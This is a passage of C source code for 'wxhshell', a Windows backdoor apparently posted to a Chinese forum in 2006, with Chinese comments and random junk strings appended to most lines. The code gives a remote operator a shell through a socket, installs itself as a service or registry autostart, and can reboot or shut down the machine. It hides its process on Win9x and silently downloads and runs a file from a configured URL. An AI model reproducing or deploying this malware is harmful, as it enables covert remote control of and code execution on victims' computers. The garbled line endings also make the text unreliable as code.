  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rO2PbF3  
  } C^ k3*N  
  else { Yv|bUZ @  
61 HqBa  
    switch(cmd[0]) { =F; ^^VX  
  7[VCCI g  
  // 帮助 (l,YI"TzT  
  case '?': { ^gVbVz[17  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zp P6Q  
    break; lVK F^-i  
  } {gq:sj>  
  // 安装 {~ vPq  
  case 'i': { OTr!?xi  
    if(Install()) 085 ^!AZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~\m"zJ4  
    else Uu<sntyv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pp")hFx  
    break; I5AjEp  
    } jq]\oY8y  
  // 卸载 ]{l O  
  case 'r': { ;Q%19f3,6  
    if(Uninstall()) ckkM)|kK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p RfHbPV?  
    else Wn)A/Z ^r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?F:C!_  
    break; 6(Rq R  
    } n$VPh/  
  // 显示 wxhshell 所在路径 enO=-#  
  case 'p': { Vf* B1Zb  
    char svExeFile[MAX_PATH]; ]4pC\0c  
    strcpy(svExeFile,"\n\r"); Y K62#;  
      strcat(svExeFile,ExeFile); kKTED1MW&W  
        send(wsh,svExeFile,strlen(svExeFile),0); ;?[+vf")  
    break; G;.u>92r|  
    } ZJ'H y5?  
  // 重启 \~m%4kzG8J  
  case 'b': { LHGK!zI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xwqf Wd_  
    if(Boot(REBOOT))  7qdl,z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "gVH;<&]  
    else { QrRCsy70  
    closesocket(wsh); (inwKRH  
    ExitThread(0); v6(l#,  
    } gl4 f9Ff  
    break; )e$-B]>7z  
    } ~<Qxw>S#  
  // 关机 EwJn1Mvq  
  case 'd': { ; yC`5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aIyY%QT  
    if(Boot(SHUTDOWN)) MhXm-<4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c;fyUi  
    else { /VOST^z!  
    closesocket(wsh); RAJ |#I1  
    ExitThread(0); Kwmo)|7uPU  
    } ;bu;t#  
    break; '48|f`8$  
    } eh# (}v  
  // 获取shell -cC(d$y  
  case 's': { Q? |MBTo  
    CmdShell(wsh); k{&E}:A  
    closesocket(wsh); =cX"gI[  
    ExitThread(0); krT!AfeV  
    break; 'g, x}6  
  } ]$%4;o4O  
  // 退出  E8V\J  
  case 'x': { FKTP0e7=9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $zH 0$aOx  
    CloseIt(wsh); 2G*#Czr"  
    break; `e:RZ  
    } UmMYe4LQR  
  // 离开 |UiykQ  
  case 'q': { z+`)|c4-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [\y>&"uk  
    closesocket(wsh); >TVd*S  
    WSACleanup(); &dMSX}t  
    exit(1); Z#t.wWSq  
    break; E<[ bgL  
        } 00 ,j neF  
  } 1T^L) %&p_  
  } " ~hjB  
H s 3*OhK\  
  // 提示信息 "!eT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v[=E f  
} ]qT r4`.  
  } Q ?<9  
!q1^X% a  
  return; fu;B?mIn  
} -s84/E4Y*  
/ 1@m#ZxA:  
// shell模块句柄 mh SsOmJ5  
int CmdShell(SOCKET sock) vWga>IGM  
{ LU=)\U@Q  
STARTUPINFO si; f*@:{2I.v  
ZeroMemory(&si,sizeof(si)); Z1}zf( JU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ooxzM `  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tXuxTVhoT  
PROCESS_INFORMATION ProcessInfo; Q(Y,p`>  
char cmdline[]="cmd"; +VFwYdW,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pIjVJ9+j  
  return 0; m eWq9:z  
} dQ"W~ig  
QAw,XZ.K^  
// 自身启动模式 lt"*y.%@b  
int StartFromService(void) [l{eJ /W  
{ sm S0Rk  
typedef struct M)RQIl5  
{ Q2PwO;E.`C  
  DWORD ExitStatus; S}I=i>QB  
  DWORD PebBaseAddress; hS/'b$#  
  DWORD AffinityMask; =&xoyF  
  DWORD BasePriority; <08V-   
  ULONG UniqueProcessId; Kt0Tuj@CY  
  ULONG InheritedFromUniqueProcessId; S,>n'r[  
}   PROCESS_BASIC_INFORMATION; kV<)>Gs  
)SLs  [  
PROCNTQSIP NtQueryInformationProcess; a VMFjkW  
\5_^P{p7<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (LPc\\Vv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4(gf!U  
p-Btbhv  
  HANDLE             hProcess; I(S6DkU  
  PROCESS_BASIC_INFORMATION pbi; N#ObxOE6T"  
\mG M#E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %05a>Rf&  
  if(NULL == hInst ) return 0; v%Xe)D   
+.uk#K0o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~(S4/d5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &d;$k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y?hW#l~#X  
a"4 6_>  
  if (!NtQueryInformationProcess) return 0; {P+[C O  
Puh&F< B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Ea"%z*c5  
  if(!hProcess) return 0; u{z{3fW_  
'kK%sE   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oPBjsQ  
x=)$sD-3  
  CloseHandle(hProcess);  (La  
_XPc0r:?>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u&bU !ZI  
if(hProcess==NULL) return 0; tsD^8~ t|h  
55\mQ|.Jn  
HMODULE hMod; .@V>p6MV  
char procName[255]; B:.rp.1   
unsigned long cbNeeded; a QFHB!  
 p-kqX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -GjJrYOU  
]42 l:at  
  CloseHandle(hProcess); +3CMfYsr8  
7 >(ygu  
if(strstr(procName,"services")) return 1; // 以服务启动 sxtGl^,mU:  
1L7,x @w  
  return 0; // 注册表启动 5K<C  
} z(qz(`eGC&  
?CDq^)T[  
// 主模块 q4oZJ-`  
int StartWxhshell(LPSTR lpCmdLine) ^e ii 4  
{ A\Gw+l<h,  
  SOCKET wsl; RwWQ$Eb_s  
BOOL val=TRUE; lla96\R  
  int port=0; " cg>g/  
  struct sockaddr_in door; <ZEA&:p  
:Ib\v88WIv  
  if(wscfg.ws_autoins) Install(); 0b 'R5I.M  
t,_[nu(~8%  
port=atoi(lpCmdLine); r.5F^   
VXS9E383  
if(port<=0) port=wscfg.ws_port; 1,,-R*x  
=UY@,*q:c  
  WSADATA data; XLT<,B}e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W!*vO>^1W  
AbB>ZT>hR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +fN0> @s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KMZ`Wn=  
  door.sin_family = AF_INET; rf@81Ds  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |*i-Q @ D  
  door.sin_port = htons(port); WW=7QC i  
?|\Lm3%J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h>?OWI  
closesocket(wsl); kTV D 4Z=  
return 1; g:yK/1@Hk}  
} 9 pn1d.  
It[~0?+  
  if(listen(wsl,2) == INVALID_SOCKET) { FBsw\P5w  
closesocket(wsl); `u-Y 5mY  
return 1; &7LfNN`  
} gN%R-e0  
  Wxhshell(wsl); `Ec+i  
  WSACleanup(); MZ'HMYed   
C'ZU .Y  
return 0; {YFru6$  
||f 4f3R'  
} 4.TG&IQ nN  
U' Cp3>  
// 以NT服务方式启动 DNPK1e3a{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <3KrhhH  
{ K9R[ oB]b  
DWORD   status = 0; bu- RU(%  
  DWORD   specificError = 0xfffffff; .@'Vz;&mQ  
m\yO/9{h1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rGs> {-T3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7+"X ^$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U N/.T   
  serviceStatus.dwWin32ExitCode     = 0; DVd/OU  
  serviceStatus.dwServiceSpecificExitCode = 0; Dts:$PlCk  
  serviceStatus.dwCheckPoint       = 0; uw]Jm"=w  
  serviceStatus.dwWaitHint       = 0; ryN-d%t?  
|d K-r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /+u*9ZR&1  
  if (hServiceStatusHandle==0) return; 9YKEME+:  
y3#\mBiw  
status = GetLastError(); 4/b#$o<I?  
  if (status!=NO_ERROR)  f$3  
{ y4') !e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IWkBq]Y  
    serviceStatus.dwCheckPoint       = 0; })B)-8  
    serviceStatus.dwWaitHint       = 0; ^:BRbp37i  
    serviceStatus.dwWin32ExitCode     = status; \MU4"sXw  
    serviceStatus.dwServiceSpecificExitCode = specificError; PA E)3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L<: ya  
    return; MEu-lM7v  
  } KGIz)/eSg  
(\j<`"n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $a G'.0HW  
  serviceStatus.dwCheckPoint       = 0; ]#nAld1cmy  
  serviceStatus.dwWaitHint       = 0; <FP -]R)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xp' KQ1w)  
} {RK#W~h  
^P[*yf  
// 处理NT服务事件,比如:启动、停止 _R]h]<TQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7 ?Fl [FW$  
{ ;.Kzc3yz}  
switch(fdwControl) v[x`I;  
{ NoMC* ",b>  
case SERVICE_CONTROL_STOP: 2}NfR8 N  
  serviceStatus.dwWin32ExitCode = 0; M`(xAVl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sEoS|"  
  serviceStatus.dwCheckPoint   = 0; -Jhf]  
  serviceStatus.dwWaitHint     = 0; *)`:Nm~y  
  { qcK)J/K"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [f'7/w+  
  } =Zj9F1E[i  
  return; wdg[pt />  
case SERVICE_CONTROL_PAUSE: 1||e !W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V1ug.Jv^  
  break; "783F:mPh  
case SERVICE_CONTROL_CONTINUE: 4AGc2e'u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <,m}TTq  
  break; f:TW<  
case SERVICE_CONTROL_INTERROGATE: v#~,)-D&  
  break; ' |4XyU=  
}; pH4i6B*5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RR"#z'zQ  
} r )T`?y  
t*COzE  
// 标准应用程序主函数 [\VzI\vb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0xC!d-VIJ  
{ dWI\VS9  
w(vf>L6(  
// 获取操作系统版本 9`xq3EL2T  
OsIsNt=GetOsVer(); XLtuck  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IcA]<}0!"v  
r@_;L>  
  // 从命令行安装 8'zwy d3  
  if(strpbrk(lpCmdLine,"iI")) Install(); c6e?)(V>  
_%t w#cM  
  // 下载执行文件 2-$R@ SVy  
if(wscfg.ws_downexe) { l!oU9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =%a.C(0&G  
  WinExec(wscfg.ws_filenam,SW_HIDE); "$WZd  
} G",+jR]  
D,NjDIG8  
if(!OsIsNt) { rP*?a~<  
// 如果时win9x,隐藏进程并且设置为注册表启动 46mu,v  
HideProc();  "d A"N$  
StartWxhshell(lpCmdLine); &oT]ycz%  
} tvd/Y|bV=  
else )&*&ZL0  
  if(StartFromService()) Jap v<lV%  
  // 以服务方式启动 $hA[vi\5  
  StartServiceCtrlDispatcher(DispatchTable); Qc6323/"  
else [ P 8e=;  
  // 普通方式启动 a+ ]@$8+  
  StartWxhshell(lpCmdLine); hRME;/r]X  
}@x0@sI9  
return 0; o<x2,uT  
}
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只看该作者 1 发表于: 2006-10-10
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